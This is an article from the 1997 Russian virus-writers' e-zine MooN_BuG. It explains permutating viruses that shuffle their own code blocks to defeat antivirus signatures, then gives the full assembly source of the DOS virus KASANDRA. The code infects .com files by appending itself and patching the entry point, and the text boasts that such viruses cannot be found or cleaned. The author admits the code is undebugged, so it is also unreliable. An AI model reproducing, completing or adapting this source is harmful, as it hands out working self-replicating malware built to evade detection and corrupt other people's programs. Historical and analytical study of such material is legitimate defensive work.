[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997                                           file 006

                                Вирус KASANDRA
                                               by RedArc

     К  этому  выпуску  журнала  мне хотелось показать читателям один из самых
простых    способов   написания   пермутирующего   вируса,   так   как   слово
"пермутирующий"  в последнее время вирмейкерами было заменено на "fullmorph" и
не  сходит  с их уст по сей день. Идея вирусов этого класса состоит в том, что
вместо   криптования  своего  тела  по  обычному  линейному  или  полиморфному
алгоритму,  вирус переставляет блоки некоторого размера внутри своего тела, за
счет чего и достигается полиморфность.
     Выгода  от  этого  очень  даже  понятная  -  вирус не имеет расшифровщика
вообще,  хотя  может  достигать  очень  высоких  уровней полиморфности за счет
уменьшения  переставляемых  блоков.  При  этом,  с  уменьшением  размера блока
вероятность   выделения   сигнатуры   стремится  к  нулю.  При  комбинировании
полиморфных  алгоритмов  с  пермутирующими  алгоритмами  можно достичь полного
исчезновения сигнатуры.
     Зачем  это нужно? Очень просто, любой полиморфный вирус имеет статическое
тело,  зашифрованное  некоторым  полиморфным  алгоритмом.  Антивирус эмулирует
команды декриптора и в итоге получает в памяти расшифрованное статическое тело
вируса,  которое  содержит  в  обычном  порядке всю необходимую информацию для
лечения данного инфицированного файла.
     Изюминка  пермутантов  состоит как раз в том, что при минимизации размера
переставляемых  блоков  вероятность выделения статической сигнатуры сводится к
минимуму,  что  не позволяет антивирусу получить полную уверенность, что перед
ним  действительно  известный  ему  вирус. По принципу: не нашел - не вылечил,
вирус  получает  иммунитет  к  антивирусам.  Если  же в алгоритм вируса вложен
полиморфный  код  модификации  переставляемого блока (заметьте, не модификации
расшифровщика,  а  модификация  непосредственно блока тела вируса), то в итоге
получается  100%  гарантия  того,  что  ваш  вирус не смогут найти современные
антивирусы, соответственно и не смогут полечить инфицированные файлы.
     Перед  вами  исходный  код  пермутирующего  вируса  KASANDRA, не имеющего
полиморфного  кода  модификаций  и  размер переставляемых блоков его так же не
лимитирован.  К  сожалению,  мне  не хватило времени до выпуска журнала на его
отладку,  но,  надеюсь,  основные  приемы пермутизма в нем показаны очень даже
наглядно и вам не составит труда разобраться в коде этого вируса.

Model Tiny
.Code
.286

KeyCryMsg equ 0ffh
PAGEMEM   equ MY_LENGTH / 16 + 1

ORG 100h
START:
       push offset EntryPoint
       ret
       db 200h dup (90h)
;----------------------------
EntryPoint:
       pusha
       push ds
       push es
       inc si
       mov bp, word ptr cs:[si]
       mov di, word ptr cs:[si]
       add di,ADDR_TABLE
       mov byte ptr [bp+CONTROL],0
       mov word ptr [bp+A_TABLE],di
       mov ax, word ptr [di+RB1_OFFS]
       add ax, word ptr cs:[si]
       push ax
       ret
;------------------------------
A_TABLE equ $-EntryPoint
        dw ?
SAVE_AX equ $-EntryPoint
        dw ?
CONTROL equ $-EntryPoint
        db ?
FSEG equ $-EntryPoint
        dw ?
;------------------------------
ADDR_TABLE equ $-EntryPoint
ADDR_POINT:
SB1_OFFS equ $-ADDR_POINT
        dw ST_BYTE
SL1_OFFS equ $-ADDR_POINT
        dw ST_LEN
RB1_OFFS equ $-ADDR_POINT
        dw RESTORE_BYTE
RL1_OFFS equ $-ADDR_POINT
        dw LENGTH_RESTORE
FM1_OFFS equ $-ADDR_POINT
        dw FMASK
FL1_OFFS equ $-ADDR_POINT
        dw FMASK_LENGTH
DT1_OFFS equ $-ADDR_POINT
        dw DATE_TABLE
DL1_OFFS equ $-ADDR_POINT
        dw DATE_LENGTH
IN1_OFFS equ $-ADDR_POINT
        dw INTERRUPT
IL1_OFFS equ $-ADDR_POINT
        dw INTR_LENGTH
MS1_OFFS equ $-ADDR_POINT
        dw MSG
ML1_OFFS equ $-ADDR_POINT
        dw MSG_LENGTH
PM1_OFFS equ $-ADDR_POINT
        dw PRINT
PL1_OFFS equ $-ADDR_POINT
        dw PRINT_LENGTH
RP2_OFFS equ $-ADDR_POINT
        dw RETURN_TO_PROGRAM
RL2_OFFS equ $-ADDR_POINT
        dw RETURN_LENGTH
CM1_OFFS equ $-ADDR_POINT
        dw CRYPT_MSG
CL1_OFFS equ $-ADDR_POINT
        dw CrM_LENGTH
CM2_OFFS equ $-ADDR_POINT
        dw CALCULATE_MSG_KEY
CL2_OFFS equ $-ADDR_POINT
        dw CMK_LENGTH
SD2_OFFS equ $-ADDR_POINT
         dw SETDTA
SL2_OFFS equ $-ADDR_POINT
         dw SETDTA_LENGTH
FF2_OFFS equ $-ADDR_POINT
         dw FIND_FIRST
FL2_OFFS equ $-ADDR_POINT
         dw FFIRST_LENGTH
MA2_OFFS equ $-ADDR_POINT
         dw CRYPT_MASK
ML2_OFFS equ $-ADDR_POINT
         dw CrMa_LENGTH
PA2_OFFS equ $-ADDR_POINT
         dw PLAGUE
PL2_OFFS equ $-ADDR_POINT
         dw PLAGUE_LENGTH
SD3_OFFS equ $-ADDR_POINT
         dw SETOLDDTA
SL3_OFFS equ $-ADDR_POINT
         dw SETOLDDTA_LENGTH
TO1_OFFS equ $-ADDR_POINT
         dw TOSSER
TL1_OFFS equ $-ADDR_POINT
         dw TOSSER_LENGTH
GM1_OFFS equ $-ADDR_POINT
         dw GETMEM
GL1_OFFS equ $-ADDR_POINT
         dw GETMEM_LENGTH
RND_OFFS equ $-ADDR_POINT
         dw RND_ST
RND_LENG equ $-ADDR_POINT
         dw RND_LENGTH
DIA_OFFS equ $-ADDR_POINT
         dw DIAPAZON
DIA_LENG equ $-ADDR_POINT
         dw DIAPAZON_LENGTH
AddrLen equ $-ADDR_POINT
END_STATIC_BLOCK equ $-EntryPoint
;------------------------------
FMASK equ $-EntryPoint
FMASK_POINT:
db '*' xor KeyCryMsg, '.' xor KeyCryMsg, 'c' xor KeyCryMsg
db 'o' xor KeyCryMsg, 'm' xor KeyCryMsg, 0h  xor KeyCryMsg
FMASK_LENGTH equ $-FMASK_POINT
;------------------------------
MSG equ $-EntryPoint
MSG_POINT:
db 'K' xor KeyCryMsg, 'A' xor KeyCryMsg, 'S' xor KeyCryMsg, 'A' xor KeyCryMsg
db 'N' xor KeyCryMsg, 'D' xor KeyCryMsg, 'R' xor KeyCryMsg, 'A' xor KeyCryMsg
db ' ' xor KeyCryMsg, 'i' xor KeyCryMsg, 's' xor KeyCryMsg, ' ' xor KeyCryMsg
db 'h' xor KeyCryMsg, 'e' xor KeyCryMsg, 'r' xor KeyCryMsg, 'e' xor KeyCryMsg
db '!' xor KeyCryMsg, 0ah xor KeyCryMsg, 0dh xor KeyCryMsg, '$' xor KeyCryMsg
MSG_LENGTH equ $-MSG_POINT
;------------------------------
DATE_TABLE equ $-EntryPoint
DATE_POINT:
PRINT_FUNC equ $-DATE_POINT
           dw 0900h
IP_100 equ $-DATE_POINT
           dw 0100h
TIME_GET equ $-DATE_POINT
           dw 2c00h
KeyMSG equ $-DATE_POINT
           db KeyCryMsg
SET_DTA equ $-DATE_POINT
           dw 1a00h
FFIRST equ $-DATE_POINT
           dw 4e00h
FULLMEM equ $-DATE_POINT
           dw 0FFFFh
FNEXT  equ $-DATE_POINT
           dw 4f00h
AttrMask equ $-DATE_POINT
           db 0ffh
OLD_D    equ $-DATE_POINT
           db 80h
PAGECOUNT equ $-DATE_POINT
           dw PAGEMEM
SETATTR  equ $-DATE_POINT
           dw 4301h
OPEN     equ $-DATE_POINT
           dw 3d02h
ReadFile equ $-DATE_POINT
           dw 3f00h
CloseFile equ $-DATE_POINT
           dw 3e00h
MoveEnd   equ $-DATE_POINT
           dw 4202h
MoveStart equ $-DATE_POINT
           dw 4200h
WriteFile equ $-DATE_POINT
           dw 4000h
DATE_LENGTH equ $-DATE_POINT
;------------------------------
INTERRUPT equ $-EntryPoint
INTR_POINT:
        mov word ptr cs:[bp+SAVE_AX],ax
        pushf
        push cs
        push si
        mov si,word ptr cs:[bp+A_TABLE]
        mov ax,word ptr cs:[si+IN1_OFFS]
        pop si
        add ax,INTR_LENGTH-1
        add ax,bp
        push ax
        xor ax,ax
        mov es,ax
        push si
        push di
        mov si,word ptr cs:[bp+A_TABLE]
        mov di,word ptr cs:[si+DT1_OFFS]
        add di,word ptr cs:[bp+SAVE_AX]
        mov ax,word ptr cs:[bp+di]
        pop di
        pop si
        jmp dword ptr es:[21H*4]
        RET
INTR_LENGTH equ $-INTR_POINT
;------------------------------
GETMEM equ $-EntryPoint
GETMEM_POINT:
        mov ax,ds
        mov es,ax
        mov di, word ptr [si+DT1_OFFS]
        add di,bp
        mov bx, word ptr [di+PAGECOUNT]
        mov ah,4ah
        int 21h
GETMEM_RETURN equ $-GETMEM_POINT
        jnc ALLOCATED
        mov di, word ptr [si+DT1_OFFS]
        add di,bp
        mov ax, word ptr [di+FULLMEM]
        mov word ptr [bp+FSEG],ax
        ret
ALLOCATED:
        mov ax,MY_LENGTH
        mov cl,4
        shr ax,cl
        inc ax
        mov bx,ds
        add ax,bx
        mov word ptr [bp+FSEG],ax
        ret
GETMEM_LENGTH equ $-GETMEM_POINT
;------------------------------
RESTORE_BYTE equ $-EntryPoint
RESTORE_POINT:
               mov si,word ptr [bp+A_TABLE]
               mov cx, word ptr [si+SL1_OFFS]
               mov di,word ptr [si+DT1_OFFS]
               add di,bp
               mov ax, word ptr [di+IP_100]
               mov di,bp
               add di, word ptr [si+SB1_OFFS]
               push si
               xchg si,di
               xchg ax,di
               rep movsb
               pop si
               mov di, word ptr [si+RB1_OFFS]
               add di, RESTORE_RETURN
               add di,bp
               push di
               mov di, word ptr [si+GM1_OFFS]
               add di,bp
               push di
               ret
RESTORE_RETURN equ $-RESTORE_POINT
               mov di, word ptr [si+DT1_OFFS]
               add di,bp
               mov ax, word ptr [di+FULLMEM]
               cmp word ptr [bp+FSEG],ax
               jne RB1
               mov di, word ptr [si+RP2_OFFS]
               add di,bp
               jmp di
RB1:
               mov di, word ptr [si+PM1_OFFS]
               add di,bp
               jmp di
LENGTH_RESTORE equ $-RESTORE_POINT
;-------------------------------
PRINT equ $-EntryPoint
PRINT_POINT:
             mov ax,TIME_GET
             mov di, word ptr [si+PM1_OFFS]
             add di, PRIN_RETURN
             add di,bp
             push di
             mov di, word ptr [si+IN1_OFFS]
             add di,bp
             push di
             ret
PRIN_RETURN equ $-PRINT_POINT
             cmp ch,cl
             jnz PRINT_EXIT
             mov di, word ptr [si+PM1_OFFS]
             add di, PRINT_2_RETURN
             add di,bp
             push di
             mov di, word ptr [si+CM1_OFFS]
             add di,bp
             push di
             ret
PRINT_2_RETURN equ $-PRINT_POINT
             mov dx, word ptr [si+MS1_OFFS]
             add dx,bp
             mov ax,PRINT_FUNC
             mov di, word ptr [si+PM1_OFFS]
             add di,PRINT_EXIT_LENGTH
             add di,bp
             push di
             mov di, word ptr [si+IN1_OFFS]
             add di,bp
             push di
             ret
PRINT_EXIT_LENGTH equ $-PRINT_POINT
             mov di, word ptr [si+PM1_OFFS]
             add di, PRINT_3_RETURN
             add di,bp
             push di
             mov di, word ptr [si+CM2_OFFS]
             add di,bp
             push di
             ret
PRINT_3_RETURN equ $-PRINT_POINT
             mov di, word ptr [si+PM1_OFFS]
             add di, PRINT_4_RETURN
             add di,bp
             push di
             mov di, word ptr [si+CM1_OFFS]
             add di,bp
             push di
             ret
PRINT_4_RETURN equ $-PRINT_POINT
PRINT_EXIT:
             mov di, word ptr [si+SD2_OFFS]
             add di,bp
             jmp di
PRINT_LENGTH equ $-PRINT_POINT
;-----------------------------------
SETDTA equ $-EntryPoint
SETDTA_POINT:
             mov ax,SET_DTA
             mov di, word ptr [si+SD2_OFFS]
             add di, SDTA_RETURN
             add di,bp
             push di
             mov di, word ptr [si+IN1_OFFS]
             add di,bp
             push di
             mov dx,bp
             add dx,MY_LENGTH
             ret
SDTA_RETURN equ $-SETDTA_POINT
             mov di, word ptr [si+FF2_OFFS]
             add di,bp
             jmp di
SETDTA_LENGTH equ $-SETDTA_POINT
;-----------------------------------
FIND_FIRST equ $-EntryPoint
FFIRST_POINT:
             mov di, word ptr [si+FF2_OFFS]
             add di, FFIRST_1_RETURN
             add di,bp
             push di
             mov di, word ptr [si+MA2_OFFS]
             add di,bp
             push di
             ret
FFIRST_1_RETURN equ $-FFIRST_POINT
            mov ax,FFIRST
            mov di, word ptr [si+DT1_OFFS]
            xor cx,cx
            add di,bp
            mov cl,byte ptr [di+AttrMask]
            mov dx, word ptr [si+FM1_OFFS]
            add dx,bp
FF_LOCK:
            mov di,bp
            add di, word ptr [si+FF2_OFFS]
            add di, FFIRST_RETURN
            push di
            mov di,bp
            add di, word ptr [si+IN1_OFFS]
            push di
            ret
FFIRST_RETURN equ $-FFIRST_POINT
            jb NOT_FILE
            cmp byte ptr [bp+CONTROL], 1
            jz FF3
            mov byte ptr [bp+CONTROL],1
            mov di, word ptr [si+FF2_OFFS]
            add di, FFIRST_2_RETURN
            add di,bp
            push di
            mov di, word ptr [si+MA2_OFFS]
            add di,bp
            push di
            ret
FFIRST_2_RETURN equ $-FFIRST_POINT
FF3:
            mov di, word ptr [si+FF2_OFFS]
            add di, FFIRST_3_RETURN
            add di,bp
            push di
            mov di, word ptr [si+PA2_OFFS]
            add di,bp
            push di
            ret
FFIRST_3_RETURN equ $-FFIRST_POINT
            mov ax, FNEXT
            jmp FF_LOCK
NOT_FILE:
             mov di, word ptr [si+RP2_OFFS]
             add di,bp
             jmp di
FFIRST_LENGTH equ $-FFIRST_POINT
;-----------------------------------
SETOLDDTA equ $-EntryPoint
SETOLDDTA_POINT:
             mov ax,SET_DTA
             mov di, word ptr [si+SD3_OFFS]
             add di, SODTA_RETURN
             add di,bp
             push di
             mov di, word ptr [si+IN1_OFFS]
             add di,bp
             push di
             mov di, word ptr [si+DT1_OFFS]
             add di,bp
             xor dx,dx
             mov dl, byte ptr [di+OLD_D]
SODTA_RETURN equ $-SETOLDDTA_POINT
             ret
SETOLDDTA_LENGTH equ $-SETDTA_POINT
;-----------------------------------
PLAGUE equ $-EntryPoint
PLAGUE_POINT:
        mov di,word ptr [si+PA2_OFFS]
        add di,bp
        add di,PL_RET_1
        push di
        mov di,word ptr [si+TO1_OFFS]
        add di,bp
        push di
        ret
PL_RET_1 equ $-PLAGUE_POINT
        mov dx,bp
        add dx,MY_LENGTH+1eh
        mov ax,SETATTR
        xor cx,cx
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_2
        add di,bp
        push di
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
        ret
PL_RET_2 equ $-PLAGUE_POINT
        mov dx,bp
        add dx,MY_LENGTH+1eh
        mov ax,OPEN
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_3
        add di,bp
        push di
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
        ret
PL_RET_3 equ $-PLAGUE_POINT
        xchg ax,bx
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_4
        add di,bp
        push di
        mov ax,ReadFile
        mov dx,word ptr [si+SB1_OFFS]
        add dx,bp
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
        ret
PL_RET_4 equ $-PLAGUE_POINT
        mov di,word ptr [si+SB1_OFFS]
        add di,bp
        mov al,byte ptr [di]
        cmp al,68h
        jz ALREADY_INFECTED
        jmp short INFECTED
ALREADY_INFECTED:
        mov ax,CloseFile
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_5
        add di,bp
        push di
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
PL_RET_5 equ $-PLAGUE_POINT
        ret
INFECTED:
        mov ax,MoveEnd
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_6
        add di,bp
        push di
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
        ret
PL_RET_6 equ $-PLAGUE_POINT
        push ax
        xor dx,dx
        mov cx,MY_LENGTH
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_7
        add di,bp
        push di
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
        mov ax, word ptr [bp+FSEG]
        mov ds, ax
        mov ax,WriteFile
        ret
PL_RET_7 equ $-PLAGUE_POINT
        push cs
        pop ds
        mov ax,MoveStart
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_8
        add di,bp
        push di
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
        ret
PL_RET_8 equ $-PLAGUE_POINT
        pop ax
        mov di,word ptr [si+SB1_OFFS]
        add di,bp
        mov byte ptr [di],68h
        mov word ptr [di+1],ax
        mov byte ptr [di+3],0c3h
        mov cx,4
        xchg dx,di
        mov ax,WriteFile
        mov di, word ptr [si+PA2_OFFS]
        add di, PL_RET_9
        add di,bp
        push di
        mov di, word ptr [si+IN1_OFFS]
        add di,bp
        push di
        ret
PL_RET_9 equ $-PLAGUE_POINT
        jmp ALREADY_INFECTED
PLAGUE_LENGTH equ $-PLAGUE_POINT
;-----------------------------------
TOSSER equ $-EntryPoint
TOSSER_POINT:
             pusha
             cld
             push si
             mov ax, word ptr [bp+FSEG]
             mov es, ax
             mov cx, END_STATIC_BLOCK
             mov si,bp
             xor bx,bx
             mov di,bx
             rep movsb
             pop si
             push di
             mov di,word ptr [si+TO1_OFFS]
             add di,T_RET_1
             add di,bp
             push di
             mov di,word ptr [si+RND_OFFS]
             add di,bp
             push bp
             ret
T_RET_1 equ $-TOSSER_POINT
             pop di
             xor cx,cx
LOOP_COPY:
             cmp cx,ax
             jz SKIP
             push si
             push cx
             push di
             add si,cx
             mov di,word ptr [si]
             mov cx,word ptr [si+2]
             add di,bp
             xchg si,di
             pop di
             rep movsb
             pop cx
             pop si
SKIP:
             add cx,4
             cmp cx,AddrLen
             jge ALLES
             jmp LOOP_COPY
ALLES:
             push si
             push di
             add si,ax
             mov di,word ptr[si]
             mov cx,word ptr[si+2]
             add di,bp
             xchg si,di
             pop di
             rep movsb
             pop si
             push si
             push di
             add si,ax
             mov di,word ptr [si]
             mov cx,word ptr [si+2]
             mov si,di
             add si,cx
             pop cx
             sub cx,si
             push es
             pop ds
             rep movsb
             pop si
             push si
             add si,ax
             mov di,word ptr [si]
             xchg dx,di
             mov di,word ptr [si+2]
             pop si
             push si
             mov cx,2
PRED_ADDR:
             add si,cx
             mov bx,word ptr [si]
             cmp dx,bx
             jge NEXT_ADDR
             sub bx,di
             mov word ptr [si],bx
NEXT_ADDR:
             add cx,2
             cmp cx,AddrLen
             jge PREP_MOVE
             jmp short PRED_ADDR
PREP_MOVE:
             pop si
             add si,ax
             mov cx,word ptr [si+2]
             mov dx,MY_LENGTH
             sub dx,cx
             mov word ptr [si],dx
             push cs
             pop ds
             popa
             ret
TOSSER_LENGTH equ $-TOSSER_POINT
;-----------------------------------
CRYPT_MSG equ $-EntryPoint
CrM_POINT:
         pusha
         mov di, word ptr [si+DT1_OFFS]
         add di,bp
         mov bl, byte ptr [di+KeyMSG]
         mov di, word ptr [si+MS1_OFFS]
         add di,bp
         mov cx, word ptr [si+ML1_OFFS]
CrM_LOOP:
         mov al, byte ptr [di]
         xor al, bl
         mov byte ptr [di],al
         inc di
         loop CrM_LOOP
         popa
         ret
CrM_LENGTH equ $-CrM_POINT
;-----------------------------------
RND_ST equ $-EntryPoint
RND_POINT:
        push di dx
        xor dx,dx
        mov di,word ptr [si + RND_OFFS]
        add di, bp
        add di, REGS_OFFS
        mov ax, word ptr [di+1]
        mov dl, byte ptr [di+2]
        xor ax,dx
        mov byte ptr [di+2],al
        add ah,al
        mov al,byte ptr [di]
        mov byte ptr [di+1],al
        add al,ah
        rol al,1
        mov byte ptr [di],al
        pop dx di
        ret
REGS_OFFS equ $-RND_POINT
r3:     db 21
r2:     db 12
r1:     db 98
RND_LENGTH equ $-RND_POINT
;----------------------------------------
DIAPAZON equ $-EntryPoint
DIAPAZON_POINT:
        push dx di
        mov di,word ptr [si+DIA_OFFS]
        add di, D_RET_1
        add di,bp
        push di
        mov di,word ptr [si+RND_OFFS]
        add di,bp
        push di
        ret
D_RET_1 equ $-DIAPAZON_POINT
        mov dh,al
        mov di,word ptr [si+DIA_OFFS]
        add di, D_RET_2
        add di,bp
        push di
        mov di,word ptr [si+RND_OFFS]
        add di,bp
        push di
        ret
D_RET_2 equ $-DIAPAZON_POINT
        mov dl,al
        cmp dx,0
        jc  DIAPAZON_POINT
        cmp dx,(AddrLen / 4)
        jnc DIAPAZON_POINT
        mov ax,dx
        pop di dx
        ret
DIAPAZON_LENGTH equ $-DIAPAZON_POINT
;-----------------------------------
             mov di, word ptr [si+RP2_OFFS]
             add di,bp
             jmp di
RETURN_TO_PROGRAM equ $-EntryPoint
RTP_POINT:
           mov di, word ptr [si+RP2_OFFS]
           add di, RTP_1_RETURN
           add di,bp
           push di
           mov di, word ptr [si+SD3_OFFS]
           add di,bp
           push di
           ret
RTP_1_RETURN equ $-RTP_POINT
           pop es
           pop ds
           popa
           push si
           ret
RETURN_LENGTH equ $-RTP_POINT
;-----------------------------------
CRYPT_MASK equ $-EntryPoint
CrMa_POINT:
         pusha
         pushf
         mov di, word ptr [si+DT1_OFFS]
         add di, bp
         mov bl, byte ptr [di+KeyMSG]
         mov di, word ptr [si+FM1_OFFS]
         add di, bp
         mov cx, word ptr [si+FL1_OFFS]
CrMa_LOOP:
         mov al, byte ptr [di]
         xor al, bl
         mov byte ptr [di],al
         inc di
         loop CrMa_LOOP
         popf
         popa
         ret
CrMa_LENGTH equ $-CrMa_POINT
;-----------------------------------
ST_BYTE equ $-EntryPoint
ST_POINT:
db 0cdh,020h,090h,090h
ST_LEN equ $-ST_POINT
;-----------------------------------
CALCULATE_MSG_KEY equ $-EntryPoint
CMK_POINT:
          pusha
          mov di, word ptr [si+CM2_OFFS]
          add di, CMK_1_RETURN
          add di,bp
          push di
          mov di, word ptr [si+MA2_OFFS]
          add di,bp
          push di
          ret
CMK_1_RETURN equ $-CMK_POINT
          mov ax,word ptr [bp+A_TABLE]
          mov si,ax
          xor al,ah
          mov di,word ptr [si+DT1_OFFS]
          add di,bp
          mov byte ptr [di+KeyMSG],al
          mov di, word ptr [si+CM2_OFFS]
          add di, CMK_2_RETURN
          add di,bp
          push di
          mov di, word ptr [si+MA2_OFFS]
          add di,bp
          push di
          ret
CMK_2_RETURN equ $-CMK_POINT
          popa
          ret
CMK_LENGTH equ $-CMK_POINT
;-----------------------------------
MY_LENGTH equ $-EntryPoint
END START